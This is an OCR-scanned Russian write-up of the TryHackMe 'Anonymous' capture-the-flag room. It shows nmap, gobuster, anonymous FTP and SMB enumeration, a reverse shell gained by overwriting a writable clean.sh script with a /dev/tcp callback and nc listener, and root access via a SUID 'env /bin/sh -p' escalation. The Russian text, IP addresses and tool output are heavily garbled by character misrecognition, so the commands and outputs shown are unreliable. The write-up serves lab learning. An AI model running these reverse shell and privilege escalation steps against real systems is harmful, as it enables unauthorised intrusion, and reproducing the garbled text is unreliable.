Bonkcpy

¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
NHpopMaunoHHon 6esonacHocTn B 19:31 (lpocmasi koMHama, 0axe CrUWKOM.).

Ucnonb3oBaHHbIe (hannbi:

user.txt - conar
root.txt - donar
clean.sh - cbanin KoTopbI Mbl aby3unu ansa nonyyeHue reverse shell

linpeas.sh - ckpynT A8 NoBbIWEHNA NpuBmUnNerun Ha linux.

NMopspok pencreum:

1) PepgaktupoBaHue /etc/resolv.conf ona pocrtyna B UHTEpPHeET,
co3faHue nanku KOMHaTtbl, BKno4veHue win kex ansa yno6ceraa,
BKNOYEHUe BMNH AN A0CTyna K KOMHaTam

sudo nano /etc/resolv.conf; clear; mkdir anonymous; cd anonymous; kex ——win;

clear; openvpn ../Kolya®80808.ovpn

clear; sudo ./thm-troubleshoot; nmap -sCV 10.10.252.217; gobuster dir -w
directory-list-2.3-medium.txt -b 40U -u http://160.10.252.217

2) CkaHupoBaHue NOPTOB C NOMOLLbLK hmap.

Pesynbrarhbi:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| _drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE:
writeablel
| ftp-syst:
| STAT:

| FTP server status:
| Connected to ::ffff:10.9.2.149
| Logged in as ftp
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| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 3

| vsFTPd 3.0.3 - secure, fast, stable

| _End of status

22/tcp open ssh OpenSSH 7.6pl Ubuntu dubuntu@.3 (Ubuntu Linux;
protocol 2.0)

| ssh-hostkey:

| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)

| 256 95:89:al:12:e2:e6:ab:90:5d:45:19:ff:U41:5f:7Ud:ce (ECDSA)

|_ 256 el:2a:96:al:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
4u5/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| _nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC:
<unknown> (unknown)

| smb2-time:

| date: 2025-01-11T15:51:18

|_ start_date: N/A

| smb-security-mode:

| account_used: guest

| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:

| 0S: Windows 6.1 (Samba 4.7.6-Ubuntu)

| Computer name: anonymous

| NetBIOS computer name: ANONYMOUS\x00

| Domain name: \x00

|  FQDN: anonymous

|_ System time: 2025-01-11T15:51:18+00:00

| smb2-security-mode:

| 3:1:1:

| _ Message signing enabled but not required

3) 3anyck Gobuster ana noncka oUpeKTopumn.

» Pesynerathbi:

Huyero He pano.



4) CHayana A oTBeTUN Ha 3 Bonpoca:

Pesynbrar:

Enumerate the machine. How many ports are open?

]
What service is running on port 217
ftp

What service is running on ports 139 and 4452

5) 3aTtem A noagKn4YUIICA MO smb K cepBepy U OTBETUI Ha
tIETBeprII?I BOMNMpocC.
Pesynbrar:
smbclient -L 1€
Password for [W
Sharename
print$
Disk

pics
IPCH IPC Se (i y ery (Samba, Ubuntu))

Reconnecting with

WORKGROUP ANONYMOUS

There's a share on the user's computer. What's it called?

v Correct Answer

6) MoTtom ¢ nomowbio ftp A NnpocmMmoTpen Kakme y Hac ectb haunbl n
Kakume y Hac K HUM npasa:



Pesynbrar:

onnected to 18.18.25

MamelessOne's FTP

Please specify the password.
sword:

8 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> 1s

229 Entering Extended Passiwve Mode (
158 Here comes the directory listing.
P P W p 113 4896 Jun

L'

bl k3 O
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/scripts

Entering Extended Passive Mode (|| |48881|)
156 Here comes the directory listing.
- PWX - XWX 1 1866 1668 314 Jun 84 2828 clean.sh
-PUW-rW-r-- 1 1866 18886 3 5 removed files.log
-rW-r--r-- 1 1866 1668 May 2020 to do.txt
' send OK.

7) Hy n 1 nomeHsan clean.sh Ha cBoun 1 nony4yun reverse shell:

Pesynbrar:
GNU nano 8.2

fdev/tcp/18.9.2.149/1234 @:4&1

nc -lvnp 1234
listening on [any] 1234 ...
C ct to [18.9.2. From (UMKNOWN) [1©.18.252.217] 68886
bash: cannot set terminal process group (1 Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~% ls

8) MoTtom s cTabunuanposan KOMaHAHYI CTPOKY M npoyuTan cnar:



Pesynbrar:

@anonymo

en

onymous:~% cat

9) 3aTem ¢ noMmoubko linpeas.sh 1 nocMoTpern, Kak Mbl MOXeM
NOBbLICUTb NPUBUINErnn, Hy U NOBbLICUIT UX:
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Pesynbrar:

roOT

|:_1

Jun 16

I::| ...-' 5
Dec
Jun
Jan
4K May
{ May
Mar
Jan
Mar
Mar
74K Mar
Mar

Ju r:l
Mar

nonymous :~% env fbin/sh -p

10) Hy n yntaem nocneagHun cnar:



Pesynbrar:

o

do3 c31; 0af3e3

MpumeyaHune

/ Mpumeyanue

KomHata NPUKOJiIbHasA, HO Ha medium sIBHO He TSHET, oHa npAaM CUJIbHO NPOCTad. A Obl
Jaxe CKasall OHa Jerdye, 4em easy.

Ho Bce paBHo, cnacubo TryHackMe 3a komHary!
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YouTube


https://youtu.be/_fUpnhtbjy4

